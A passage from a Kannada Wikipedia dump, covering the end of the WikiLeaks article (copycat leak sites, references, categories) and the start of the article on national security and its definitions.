WikiLeaks among Australians |author= Tim Lester |publisher=The Age | date=6 January 2011 |url=http://www.theage.com.au/national/strong-support-for-wikileaks-among-australians-20110105-19g8z.html |accessdate=22 January 2011}}</ref> ==ಉಪಪ್ರಯೋಜನಗಳು== ಯುಎಸ್‌ನ ಡಿಪ್ಲೊಮಾಟಿಕ್ ಕೇಬಲ್‌ಗಳ ಬಹಿರಂಗಪಡಿಸುವಿಕೆಯು ವಿಕಿಲೀಕ್ಸ್ ಮಾದರಿಯನ್ನು ಹಿಂಬಾಲಿಸುವ ಇತರ ಹಲವಾರು ಸಂಸ್ಥೆಗಳ ನಿರ್ಮಾಣವನ್ನು ಬೆಂಬಲಿಸಿದವು.<ref>{{cite web|author=Ben Piven |url=http://english.aljazeera.net/indepth/features/2010/12/20101216194828514847.html |title=Copycat WikiLeaks sites make waves - Features |publisher=Al Jazeera English |date=17 December 2010 |accessdate=18 December 2010}}</ref> *ಓಪನ್‌ಲೀಕ್ಸ್ ಅಸ್ಸಾಂಜ್‌ನ ಹಳೆಯ ಸಹಾಯಕರಿಂದ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು. "ಡೆನಿಯಲ್ ಡೊಮ್ಸ್‌ಚೈಟ್‌-ಬರ್ಗ್‌ ಹೇಳಿದ ಪ್ರಕಾರ ಈ ಸಂಸ್ಥೆ ಪ್ರಾರಂಭವಾಗಿದ್ದು ವಿಕಿಲೀಕ್ಸ್‌ಗಿಂತ ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದ ಮುಕ್ತತೆಯನ್ನು ಹೊಂದಿರಬೇಕು ಎಂಬುದನ್ನು ಉದ್ದೇಶವಾಗಿರಿಸಿಕೊಂಡು ಆಗಿತ್ತು. ಆದರೆ ಕಳೆದ ಕೆಲವು ತಿಂಗಳುಗಳಿಂದ ಈ ಸಂಸ್ಥೆಯು ತೆರೆದೇ ಇರಲಿಲ್ಲ. ಇದು ಇದರ ತೆರೆದ ಮೂಲಗಳ ಒಪ್ಪಂದವನ್ನು ಕಳೆದುಕೊಂಡಿತ್ತು." ವಿಕಿಲೀಕ್ಸ್‌ಗಿಂತ ಹೆಚ್ಚಿನ ಪಾರದರ್ಶಕತೆಯನ್ನು ಹೊಂದುವ ಉದ್ದೇಶವನ್ನು ಹೊಂದಿದೆ ಎಂದು ಡೇನಿಯಲ್ ಡೋಮ್ಸ್‌ಚೀಟ್-ಬರ್ಗ್ ನುಡಿದರು. 2011ರ ಆರಂಭದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುವ ಯೋಜನೆಯನ್ನು ಇದು ಹೊಂದಿತ್ತು. *[http://www.brusselsleaks.com/ ಬ್ರೂಸ್ಸೆಲ್ ಲೀಕ್ಸ್:] ಇದು [[ಯುರೋಪಿನ ಒಕ್ಕೂಟ|ಯುರೋಪ್ ಒಕ್ಕೂಟ]]ದೊಳಗಿನ ಶಾಂತಿದಾಯಕ ಕಾರ್ಯಗಳನ್ನು ಸಾರ್ವಜನಿಕ ವ್ಯಾಪ್ತಿಯೊಳಗೆ ತರಲು ಮಾಧ್ಯಮ ಕ್ಷೇತ್ರದ ಹಲವಾರು ವೃತ್ತಿಪರರ ಮತ್ತು ಕ್ರಿಯಾಶೀಲ ಪ್ರತಿಪಾದಕರ ಸಹಯೋಗದಿಂದ ನಡೆದ ಒಂದು ಪ್ರಯತ್ನ ಎಂಬ ಖ್ಯಾತಿಪಡೆದ ಯೂರೋಪ್ ಒಕ್ಕೂಟಗಳನ್ನು ಕೇಂದ್ರೀಕರಿಸಿತ್ತು. ಇದು ಪ್ರಾಮುಖ್ಯ ಮಾಹಿತಿಯನ್ನು ಅಲ್ಲಿಂದ ಪಡೆಯುವುದರ ಬಗ್ಗೆ ನಡೆದಿದ್ದು ಬ್ರೂಸ್ಸೆಲ್ ಲೀಕ್ಸ್ ಬಗೆಗಲ್ಲ.(ಅಥವಾ ಈ ವಿಷಯದ ಯಾವುದೇ "ಲೀಕ್ಸ್" ಗಾಗಿ ಅಲ್ಲ) *[http://www.tradeleaks.com/ ಟ್ರೇಡ್‌ಲೀಕ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20101222021014/http://www.tradeleaks.com/ |date=22 ಡಿಸೆಂಬರ್ 2010 }}: ಇದನ್ನು "ರಾಜಕೀಯದಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್ ಕೈಗೊಂಡ ಕಾರ್ಯಗಳನ್ನು ವಾಣಿಜ್ಯ ಮತ್ತು ವ್ಯವಹಾರ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಮಾಡಲು" ಆರಂಭಿಸಲಾಯಿತು. ಇದು ಆಸ್ಟ್ರೇಲಿಯಾದ ರುಸ್ಲಾನ್ ಕೋಗನ್‌ರಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿತು. ಇದರ ಉದ್ಧೇಶವು "ಪರಸ್ಪರ ಲಾಭದಾಯಕವಾಗಿದ್ದು, ಬಲವಂತದಿಂದ, ಮೋಸದಿಂದ ಅಥವಾ ವಂಚನೆಯಿಂದ ನಡೆಯದೆ, ಪೂರ್ಣಪ್ರಮಾಣದ ಒಮ್ಮತದಲ್ಲಿ ನಡೆದ ವ್ಯವಹಾರವಾಗಿದ್ದು, ವ್ಯಕ್ತಿಗಳು ಮತ್ತು ವ್ಯವಹಾರಗಳೆರಡೂ ಇತರರಿಂದ ಮೌಲ್ಯಗಳನ್ನು ಪಡೆಯುವಂತಾಗಬೇಕು" ಎಂಬುದಾಗಿತ್ತು. *[https://www.balkanleaks.eu/ Balkan Leaks] ಇದು ಬಲ್ಗೇರಿಯಾದ ಅಟಾನಸ್ ಚೊಬನೋವ್‌ರಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟು ಬಲ್ಕನ್‌ರನ್ನು ಹೆಚ್ಚು ಪಾರದರ್ಶಕರನ್ನಾಗಿ ಮತ್ತು ಭ್ರಷ್ಟಾಚಾರದ ವಿರುದ್ಧ ಹೋರಾಡುವಂತೆ ಮಾಡುವ ಉದ್ಧೇಶದಿಂದ ಆರಂಭಗೊಂಡಿತ್ತು. ಇದು "ಅಲ್ಲಿ ಹಲವಾರು ಜನರು ಒಳ್ಳೆಯ ಉದ್ಧೇಶಕ್ಕಾಗಿ ಬಲ್ಕನ್‌ರನ್ನು ಬದಲಾಯಿಸುವ ಇಚ್ಛೆಯುಳ್ಳ ಜನರಿದ್ದರು. ಮತ್ತು ಅವರು ಈ ಸವಾಲನ್ನೆದುರಿಸಲು ಸಿದ್ಧರಿದ್ದರು. ಅವರಿಗೆ ನಾವು ನಮ್ಮ ಸಹಾಯವನ್ನು ಒದಗಿಸುತ್ತೇವೆ" ಎಂಬ ಯೋಜನೆಯನ್ನು ಒಳಗೊಂಡಿತ್ತು. *[http://www.indoleaks.org/ ಇಂಡೋಲೀಕ್ಸ್:] ಇದು ಇಂಡೋನೇಶಿಯಾ ಮೂಲದ್ದಾಗಿದ್ದು "ಸರಕಾರವು ಯಾವುದೇ ವೆಬ್‌ಸೈಟ್‌ಗಳ ಸಂಬಂಧ ಹೊಂದಿರಲು ಕೋರಿಕೆ ಸಲ್ಲಿಸಿಲ್ಲ" ಎಂದು ''ಜಕರ್ತಾ ಗ್ಲೋಬ್'' ಹೇಳಿದರೂ, ಇಂಡೋನೇಶಿಯಾ ಸರಕಾರದ ಜಾಹೀರಾತು ದಾಖಲೆಗಳನ್ನು ಪ್ರಕಟಿಸುವ ಉದ್ಧೇಶವನ್ನು ಈ ಲೀಕ್ಸ್ ಹೊಂದಿತ್ತು. *[http://ruleaks.net/ ರುಲೀಕ್ಸ್:] {{Webarchive|url=https://web.archive.org/web/20200817130120/http://ruleaks.net/ |date=17 ಆಗಸ್ಟ್ 2020 }} ಇದು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಸಮನಾದ ರಷಿಯಾದ ಆವೃತ್ತಿಯಾಗಿತ್ತು. ಇದು ವಿಕಿಲೀಕ್ಸ್‌ನ ಅನುವಾದಿತ ಆವೃತ್ತಿಯನ್ನು ಒದಗಿಸುವ ಮೂಲ ಉದ್ಧೇಶದಿಂದ ಆರಂಭಗೊಂಡಿತ್ತು. ಆದರೆ, ''ಮಾಸ್ಕೋ ಟೈಮ್ಸ್'' ವರದಿಗಳು ತಮ್ಮದೇ ಆದ ವಿಷಯಗಳನ್ನೂ ಸಹ ಇದರಲ್ಲಿ ಪ್ರಕಟಿಸಲು ಆರಂಭಿಸಿದವು.<ref>{{cite news|url=http://www.themoscowtimes.com/news/article/russias-own-wikileaks-takes-off/429370.html|title=Russia's Own WikiLeaks Takes Off|author=Olga Razumovskaya|publisher=The Moscow Times|date=21 January 2011|accessdate=2011-01-21}}</ref> ==ಇವನ್ನೂ ನೋಡಿ== {{Portal box|Internet}} {{div col|colwidth=15em}} * ಹೊಣೆಗಾರಿಕೆ * ಮಾಹಿತಿಯ ಸ್ವತಂತ್ರ್ಯ * ಮುದ್ರಣದ ಸ್ವತಂತ್ರ್ಯ * ಪಾರದರ್ಶಕತೆ (ಸಾಮಾಜಿಕ) * ಮಾಹಿತಿಯ ಸುರಕ್ಷತೆ * ಡಿಜಿಟಲ್ ಹಕ್ಕುಗಳು * ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರದಲ್ಲಿ ವಿಂಗಡಿತ ಮಾಹಿತಿ * ತಣ್ಣಗಾಗಿಸುವ ಪ್ರಭಾವಗಳು (ಸಮೂಹ) * ನ್ಯೂಯೋರ್ಕ್ ಟೈಮ್ಸ್ Co.v. ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರ * ತೆರೆದ ಸಮಾಜ {{div col end}} ==ಅಡಿ ಟಿಪ್ಪಣಿಗಳು== ;ಟಿಪ್ಪಣಿಗಳು #{{Note|Note}}wikileaks.org ಡೊಮೇನ್‌ ಇದು ಈಗ mirror.wikileaks.info ಎಂಬ ಡೊಮೇನ್‌ಗೆ ಲಿಂಕ್ ಹೊಂದಿಸಲಾಗಿದೆ. ಇದು ಮಿರರ್‌ನ ಅಧಿಕೃತ ಡೊಮೇನ್‌ ಹೆಸರುಗಳಲ್ಲಿ ಸೇರ್ಪಡೆಯಾಗಿಲ್ಲ. ;ಉಲ್ಲೇಖಗಳು {{Reflist|colwidth=30em}} ==ಹೆಚ್ಚಿನ ಓದಿಗಾಗಿ== * {{cite news|last=Ampie|first=Guillermo Fernandez|title=Wikileaks and Freedom of the Press |url=http://www.havanatimes.org/?p=31387|accessdate=18 December 2010|newspaper=Havana Times|date=20 October 2010}} * {{cite video |people= Assange, Julian (et al) |date= 18 April 2010 |title= Logan Symposium: The New Initiatives |url= http://fora.tv/2010/04/18/Logan_Symposium_The_New_Initiatives |format= MP4 |medium= Video |publisher= [[University of California, Berkeley Graduate School of Journalism]] |location= Berkeley, CA |accessdate= 18 December 2010 |archive-date= 17 ಡಿಸೆಂಬರ್ 2010 |archive-url= https://web.archive.org/web/20101217213046/http://fora.tv/2010/04/18/Logan_Symposium_The_New_Initiatives |url-status= dead }} * {{cite news|last=Conway|first=Drew|title=Animated Heatmap of WikiLeaks Report Intensity in Afghanistan|url=http://www.r-bloggers.com/animated-heatmap-of-wikileaks-report-intensity-in-afghanistan/|accessdate=18 December 2010|newspaper=R-bloggers.com|date=17 August 2010}} * {{cite news|last=Garfield|first=Bob|authorlink=Bob Garfield|title=Transcript of 'Leak Proof'|url=http://www.onthemedia.org/transcripts/2009/03/13/04/|accessdate=18 December 2010|newspaper=[[On The Media]]|date=13 March 2009|publisher=[[WNYC]]|archive-date=18 ಡಿಸೆಂಬರ್ 2010|archive-url=https://web.archive.org/web/20101218110643/http://onthemedia.org/transcripts/2009/03/13/04|url-status=dead}} * {{cite book |last=Sifry|first=Micah L.|title=WikiLeaks and the Age of Transparency |url=http://www.orbooks.com/our-books/wikileaks/|publisher=[[OR Books]]}} * {{cite news|title=Special Reports: WikiLeaks Revelations|url=http://www.bbc.co.uk/news/world-11863274|publisher=[[BBC News Online]]|accessdate=18 December 2010}} * {{cite news|title=Specials: WikiLeaks|url=http://www.time.com/time/specials/packages/0,28757,2034088,00.html|work=[[Time (magazine)|TIME]]|accessdate=19 December 2010|archive-date=18 ಡಿಸೆಂಬರ್ 2010|archive-url=https://web.archive.org/web/20101218153700/http://www.time.com/time/specials/packages/0,28757,2034088,00.html|url-status=dead}} * {{cite news|title=Topics: WikiLeaks|url=http://www.reuters.com/subjects/wikileaks|agency=[[Reuters]]|accessdate=18 December 2010}} * {{cite video |people= Wikileaks |date= 30 December 2008 |title= Wikileaks vs. the World |url= http://chaosradio.ccc.de/25c3_m4v_2916.html |format=M4V |medium= Video |publisher= 25th [[Chaos Communication Congress]] |location= Berlin |accessdate= 18 December 2010}} * {{cite news |title=Wikileaks,the Internet and Democracy |url=http://www.therealnews.com/t2/index.php?option=com_content&task=view&id=31&Itemid=74&jumival=6124 |medium=Video |publisher=[[The Real News]] |accessdate=21 January 2011 |archive-date=8 ಅಕ್ಟೋಬರ್ 2012 |archive-url=https://web.archive.org/web/20121008182300/http://therealnews.com/t2/index.php?option=com_content&task=view&id=31&Itemid=74&jumival=6124 |url-status=dead }} * {{cite news |title=Daniel Ellsberg: We Need Whistleblowers to Stop Murder |url=http://therealnews.com/t2/index.php?option=com_content&task=view&id=31&Itemid=74&jumival=6132 |date=24 January 2011 |publisher=[[The Real News]] |access-date=4 ಫೆಬ್ರವರಿ 2011 |archive-date=29 ಫೆಬ್ರವರಿ 2012 |archive-url=https://web.archive.org/web/20120229081039/http://therealnews.com/t2/index.php?option=com_content&task=view&id=31&Itemid=74&jumival=6132 |url-status=dead }} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು== {{Wikiquote}} {{Commons category|Wikileaks}} *{{Official website|http://www.wikileaks.ch/}} (15 ಡಿಸೆಂಬರ್ 2010ರಿಂದ ಸಕ್ರಿಯ) *{{Facebook|wikileaks}} *{{Twitter|wikileaks}} {{Use dmy dates|date=December 2010}} {{WikiLeaks}} {{DEFAULTSORT:Wikileaks}} [[ವರ್ಗ:ವಿಕಿಲೀಕ್ಸ್]] [[ವರ್ಗ:ಕ್ರಿಪ್ಟೊಗ್ರಾಫಿಯ ಅನ್ವಯಿಕಗಳು]] [[ವರ್ಗ:ವಿಂಗಡಿಸಿದ ದಾಖಲೆಗಳು]] [[ವರ್ಗ:ಗುಪ್ತಚರ್ಯೆ]] [[ವರ್ಗ:ಮಾಹಿತಿಯ ಸೂಕ್ಷಮತೆ]] [[ವರ್ಗ:ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಸ್ಥೆಗಳು]] [[ವರ್ಗ:ಅಂತರ್ಜಾಲ ಪರಾಮರ್ಶಕತೆ]] [[ವರ್ಗ:2006ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ ಅಂತರ್ಜಾಲ ಸ್ವತ್ತುಗಳು]] [[ವರ್ಗ:ಒಂದು ಶಾಸನದ ಸವಾಲಿನಿಂದ ಅಂತರ್ಜಾಲ ಸೇವೆಗಳು ನಿಂತು ಹೋಗಿವೆ]] [[ವರ್ಗ:ಮಿಡಿಯಾವಿಕಿ ಜಾಲತಾಣಗಳು]] [[ವರ್ಗ:ರಾಷ್ಟ್ರೀಯ ಸುರಕ್ಷತೆ]] [[ವರ್ಗ:ಆನ್‌ಲೈನ್ ಪ್ರಾಚೀನ ಪತ್ರಾಗಾರ]] [[ವರ್ಗ:ಸ್ವೀಡನ್‌ನಲ್ಲಿ ಆಧಾರಿತ ಸಂಸ್ಥೆ]] [[ವರ್ಗ:ವೆಬ್ 2.0]] [[ವರ್ಗ:ತಪ್ಪು ಚಟುವಟಿಕೆಗಳ ಬಗ್ಗೆ ಕಾಳಜಿ ತೋರಿಸುವವ]] [[ವರ್ಗ:ಸ್ವೀಡನ್‌ನಲ್ಲಿ 2007ರ ಸ್ಥಾಪ್ಪನೆಗಳು]] 6chglj4o8ldxdi6vjr4auty4wzo65h8 ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ 0 27903 1116412 1065090 2022-08-23T12:06:56Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki [[ಚಿತ್ರ:national.security.parliament.arp.750pix.Clean.jpg|thumb|right|200px|UKಯ ಲಂಡನ್ನಿನಲ್ಲಿರುವ ಸಂಸತ್‌ ಸದನಗಳನ್ನು ಸಂರಕ್ಷಿಸಲು ತೆಗೆದುಕೊಳ್ಳಲಾದ ಭದ್ರತಾ ಕ್ರಮಗಳು. ಕಟ್ಟಡಕ್ಕೆ ಒಂದು ಕಾರ್‌ ಬಾಂಬ್‌ ಅಥವಾ ಇತರ ಸಾಧನವು ಬಡಿಯುವುದನ್ನು ತಡೆಗಟ್ಟಲು ಕಾಂಕ್ರೀಟಿನ ಈ ಭಾರವಾದ ಅಚ್ಚುಗಳು ವಿನ್ಯಾಸಗೊಳಿಸಲ್ಪಟ್ಟವು.]] '''ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ''' ಎಂಬುದು ಆರ್ಥಿಕ ಶಕ್ತಿ, ಸೇನೆಯ ಶಕ್ತಿ ಮತ್ತು ರಾಜಕೀಯ ಶಕ್ತಿಯನ್ನು ಬಳಸಿಕೊಳ್ಳುವುದರ ಮೂಲಕ ಹಾಗೂ ರಾಜತಂತ್ರದ ಅನುಷ್ಠಾನದ ಮೂಲಕ ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನದ ಉಳಿವನ್ನು ಕಾಯ್ದುಕೊಂಡು ಹೋಗುವುದಕ್ಕಿರುವ ಅವಶ್ಯಕತೆಯಾಗಿದೆ. [[ಎರಡನೇ ಮಹಾಯುದ್ಧ|IIನೇ ಜಾಗತಿಕ ಸಮರ]]ದ ನಂತರ ಬಹುಮಟ್ಟಿಗೆ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಈ ಪರಿಕಲ್ಪನೆಯು ಅಭಿವೃದ್ಧಿಯಾಯಿತು. ಆರಂಭಿಕವಾಗಿ ಸೇನೆಯ ಶಕ್ತಿಯ ಮೇಲೆ ಗಮನಹರಿಸುತ್ತಿದ್ದ ಇದು ಈಗ ವಿಭಿನ್ನ ಮುಖಗಳ ಒಂದು ವ್ಯಾಪಕ ಶ್ರೇಣಿಯನ್ನು ಒಳಗೊಳ್ಳುತ್ತದೆ ಮತ್ತು ಈ ವಿಭಿನ್ನ ಅಂಶಗಳು ರಾಷ್ಟ್ರದ ಸೇನಾಭದ್ರತೆ ಅಥವಾ ಆರ್ಥಿಕ ಭದ್ರತೆಯ ಮೇಲೆ ಹಾಗೂ ರಾಷ್ಟ್ರೀಯ ಸಮಾಜದಿಂದ ಸಮರ್ಥಿಸಲ್ಪಟ್ಟ ಮೌಲ್ಯಗಳ ಮೇಲೆ ಪ್ರಭಾವ ಬೀರುತ್ತವೆ. ಅಂತೆಯೇ, ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯನ್ನು ಹೊಂದುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರವೊಂದು ಆರ್ಥಿಕ ಭದ್ರತೆ, ಶಕ್ತಿಯ ಭದ್ರತೆ, ಪರಿಸರೀಯ ಭದ್ರತೆ ಇತ್ಯಾದಿಗಳನ್ನು ಹೊಂದುವುದು ಅಗತ್ಯವಾಗಿರುತ್ತದೆ. ಭದ್ರತಾ ಬೆದರಿಕೆಗಳು ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನಗಳಂಥ ಸಾಂಪ್ರದಾಯಿಕ ಶತ್ರುಗಳನ್ನು ಮಾತ್ರವೇ ಅಲ್ಲದೇ, ಭಯೋತ್ಪಾದಕ ಸಂಘಟನೆಗಳು, ಮಾದಕವಸ್ತುಗಳ ಒಕ್ಕೂಟಗಳು ಮತ್ತು ಬಹುರಾಷ್ಟ್ರೀಯ ಸಂಸ್ಥೆಗಳಂಥ ರಾಷ್ಟ್ರೇತರ ಪಾತ್ರಧಾರಿಗಳನ್ನೂ ಒಳಗೊಂಡಿರುತ್ತವೆ; ನೈಸರ್ಗಿಕ ವಿಪತ್ತುಗಳು ಮತ್ತು ಘಟನೆಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ಈ ವರ್ಗದಲ್ಲಿನ ಕೆಲವೊಂದು ಪ್ರಭಾವಗಳು ತೀವ್ರಸ್ವರೂಪದ ಪರಿಸರೀಯ ಹಾನಿಯನ್ನು ಉಂಟುಮಾಡುತ್ತವೆ ಎಂಬುದು ಗಮನಾರ್ಹ ಸಂಗತಿ. ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಖಾತ್ರಿನೀಡಲು ತೆಗೆದುಕೊಳ್ಳಲಾದ ಕ್ರಮಗಳಲ್ಲಿ ಇವು ಸೇರಿವೆ: * ಮಿತ್ರರಾಷ್ಟ್ರಗಳನ್ನು ಒಟ್ಟುಗೂಡಿಸಲು ಹಾಗೂ ಬೆದರಿಕೆಗಳನ್ನು ದೂರವಿಡಲು ರಾಜತಂತ್ರವನ್ನು ಬಳಸುವಿಕೆ * ಸಹಕಾರವನ್ನು ಅನುವುಗೊಳಿಸಲು ಅಥವಾ ಬಲವಂತವಾಗಿ ಸಾಧಿಸಲು ಆರ್ಥಿಕ ಶಕ್ತಿಯನ್ನು ಯುಕ್ತ ಕ್ರಮದಲ್ಲಿ ವ್ಯವಸ್ಥೆಗೊಳಿಸುವಿಕೆ * ಸಮರ್ಥವಾದ ಸಶಸ್ತ್ರ ಪಡೆಗಳನ್ನು ನಿರ್ವಹಿಸುವಿಕೆ * ನಾಗರಿಕ ರಕ್ಷಣೆ ಮತ್ತು ತುರ್ತುಸ್ಥಿತಿ ಸನ್ನದ್ಧತೆಯ ಕ್ರಮಗಳನ್ನು (ಭಯೋತ್ಪಾದನಾ-ನಿರೋಧಕ ಶಾಸನಗಳನ್ನು ಒಳಗೊಂಡಂತೆ) ಕಾರ್ಯಗತಗೊಳಿಸುವಿಕೆ * ನಿರ್ಣಾಯಕ ಮೂಲಸೌಕರ್ಯದ ಚೇತರಿಸಿಕೊಳ್ಳುವಿಕೆ ಮತ್ತು ಸಮೃದ್ಧಿಯನ್ನು ಖಾತ್ರಿಪಡಿಸುವಿಕೆ * ಬೆದರಿಕೆಗಳು ಮತ್ತು ಗೂಢಚರ್ಯೆಯನ್ನು ಪತ್ತೆಹಚ್ಚಲು ಮತ್ತು ಸೋಲಿಸಲು ಅಥವಾ ತಪ್ಪಿಸಲು, ಹಾಗೂ ರಹಸ್ಯವರ್ಗದ ಮಾಹಿತಿಯನ್ನು ಸಂರಕ್ಷಿಸಲು ಬೇಹುಗಾರಿಕೆ ಸೇವೆಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳುವಿಕೆ * ಆಂತರಿಕ ಬೆದರಿಕೆಗಳಿಂದ ರಾಷ್ಟ್ರವನ್ನು ಸಂರಕ್ಷಿಸುವ ಸಲುವಾಗಿ ಪ್ರತಿ-ಬೇಹುಗಾರಿಕೆ ಸೇವೆಗಳು ಅಥವಾ ರಹಸ್ಯ ಆರಕ್ಷಕರನ್ನು ಬಳಸಿಕೊಳ್ಳುವಿಕೆ == ವ್ಯಾಖ್ಯಾನಗಳು == "ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ"ಯ ಕುರಿತಾಗಿ ಸಾರ್ವತ್ರಿಕವಾಗಿ ಸ್ವೀಕರಿಸಲ್ಪಟ್ಟ ಯಾವುದೇ ಏಕೈಕ ವ್ಯಾಖ್ಯಾನವು ಲಭ್ಯವಿಲ್ಲ. ಈ ನಿದರ್ಶನದಲ್ಲಿ, ಫಾರ್ಲೆಕ್ಸ್‌ ಶಬ್ದಕೋಶದಿಂದ ಪಡೆಯಲಾದ ಶಬ್ದಕೋಶದ ಒಂದು ವಿಶಿಷ್ಟ ವ್ಯಾಖ್ಯಾನವು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯನ್ನು ಈ ಕೆಳಕಂಡಂತೆ ವ್ಯಾಖ್ಯಾನಿಸುತ್ತದೆ: <blockquote>ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ ಎಂಬುದು, "ಆರ್ಥಿಕ ಶಕ್ತಿ, ಸೇನೆಯ ಶಕ್ತಿ ಮತ್ತು ರಾಜಕೀಯ ಶಕ್ತಿಯನ್ನು ಬಳಸಿಕೊಳ್ಳುವುದರ ಮೂಲಕ ಹಾಗೂ ರಾಜತಂತ್ರದ ಅನುಷ್ಠಾನದ ಮೂಲಕ ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನದ ಉಳಿವನ್ನು ಕಾಯ್ದುಕೊಂಡು ಹೋಗುವುದಕ್ಕಿರುವ ಅವಶ್ಯಕತೆಯಾಗಿದೆ."</blockquote> ಆದಾಗ್ಯೂ, ಈ ಪರಿಕಲ್ಪನೆಯ ಅನೇಕ ಬಳಕೆಗಳ ಒಂದು ಸ್ಥೂಲ ಅವಲೋಕನವನ್ನು ವೈವಿಧ್ಯಮಯವಾಗಿರುವ ವ್ಯಾಖ್ಯಾನಗಳು ಒದಗಿಸುತ್ತವೆ. ಈ ಪರಿಕಲ್ಪನೆಯು ಈಗಲೂ ಅಸ್ಪಷ್ಟವಾಗಿಯೇ ಉಳಿದುಕೊಂಡಿದೆ; ಸೇನೆಯ ಬೆದರಿಕೆ ಮತ್ತು ರಾಜಕೀಯ ದಬ್ಬಾಳಿಕೆಯಿಂದ ಪಡೆಯುವ ಸ್ವಾತಂತ್ರ್ಯಕ್ಕೆ ಆರಂಭದಲ್ಲಿ ಒತ್ತುನೀಡಿದ ಸರಳವಾದ ವ್ಯಾಖ್ಯಾನಗಳಿಂದ ಮೊದಲ್ಗೊಂಡು, ನಂತರ ಕುತರ್ಕದಲ್ಲಿ ಕಂಡುಬಂದ ಹೆಚ್ಚಳದವರೆಗೆ ಮತ್ತು ಕಾಲಕ್ಕೆ ತಕ್ಕಂಥ ಪರಿಸ್ಥಿತಿಗಳಿಗೆ ಹೊಂದಿಕೆಯಾಗುವಂಥ ಸೇನೆಗೆ ಸೇರಿರದ ಭದ್ರತೆಯ ಇತರ ಸ್ವರೂಪಗಳನ್ನು ಒಳಗೊಳ್ಳುವುದರವರೆಗಿನ ವ್ಯಾಖ್ಯಾನಗಳಿಂದ ಈ ಪರಿಕಲ್ಪನೆಯು ಹುಟ್ಟಿಕೊಂಡಿರುವುದೇ ಈ ಅಸ್ಪಷ್ಟತೆಗೆ ಕಾರಣ.<ref name="Romm 1993"/>{{rp|1-6}}<ref name="Paleri">{{cite book |title=National Security: Imperatives And Challenges |last=Paleri |first=Prabhakaran |authorlink=Prabhakaran Paleri |coauthors= |year=2008 |publisher=Tata McGraw-Hill |location=New Delhi |isbn=9780070656864 |page= |pages=521 |url=http://books.google.co.in/books?id=DMzcGe0-HQwC |accessdate=23 September 2010}}</ref>{{rp|52-54}} ವಾಲ್ಟರ್ ಲಿಪ್‌ಮನ್‌ ಎಂಬಾತ 1943ರಲ್ಲಿ ಒಂದು ರಾಷ್ಟ್ರ ಮತ್ತು [[ಯುದ್ಧ]]ದ ಪರಿಭಾಷೆಯಲ್ಲಿ ಆರಂಭಿಕ ವ್ಯಾಖ್ಯಾನಗಳ ಪೈಕಿ ಒಂದನ್ನು ನೀಡಿದ:<ref name="Romm 1993"/>{{rp|5}} <blockquote>"ಯುದ್ಧವನ್ನು ತಪ್ಪಿಸುವುದಕ್ಕಾಗಿ ರಾಷ್ಟ್ರವು ತನ್ನ ನ್ಯಾಯಸಮ್ಮತವಾದ ಹಿತಾಸಕ್ತಿಗಳನ್ನು ತ್ಯಾಗಮಾಡುವ ಅವಶ್ಯಕತೆಯಿಲ್ಲದಿದ್ದಾಗ ರಾಷ್ಟ್ರವೊಂದು ಭದ್ರತೆಯನ್ನು ಹೊಂದಿರುತ್ತದೆ, ಮತ್ತು ಒಂದು ವೇಳೆ ಸವಾಲೆಸೆದರೆ, ಯುದ್ಧ ಮಾಡುವುದರ ಮೂಲಕ ಅವನ್ನು ಕಾಯ್ದುಕೊಂಡು ಹೋಗುವಲ್ಲಿ ಅದು ಸಮರ್ಥವಾಗಿರುತ್ತದೆ" ಎಂಬುದೇ ಆ ವ್ಯಾಖ್ಯಾನವಾಗಿತ್ತು.</blockquote> 1950ರಲ್ಲಿ, ಹೆರಾಲ್ಡ್‌ ಲ್ಯಾಸ್‌ವೆಲ್‌ ಎಂಬ ಓರ್ವ ರಾಜಕೀಯ ವಿಜ್ಞಾನಿಯು ನೀಡಿದ ನಂತರದ ವ್ಯಾಖ್ಯಾನವೊಂದು ಹೆಚ್ಚೂಕಮ್ಮಿ ಅದೇ ಮಗ್ಗುಲಿನಿಂದ, ಅಂದರೆ ಬಾಹ್ಯ ದಬ್ಬಾಳಿಕೆಯ ದೃಷ್ಟಿಕೋನದಿಂದ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯೆಡೆಗೆ ನೋಡುತ್ತದೆ:<ref name="Romm 1993">{{Cite book|title=Defining national security: the nonmilitary aspects |last=Romm |first=Joseph J.|authorlink=Joseph J. Romm |coauthors= |year=1993 |publisher=Council on Foreign Relations |location= |series=Pew Project on America's Task in a Changed World (Pew Project Series) |isbn=9780876091357 |page= |pages=122 |url=http://books.google.co.in/books?id=shxDOnuVcyYC |accessdate=22 September 2010 (full view)}}</ref>{{rp|79}} <blockquote>"ವಿದೇಶಿ ನಿರಂಕುಶಾಜ್ಞೆಯಿಂದ ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಪಡೆಯುವುದೇ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಭಿನ್ನತಾಸೂಚಕ 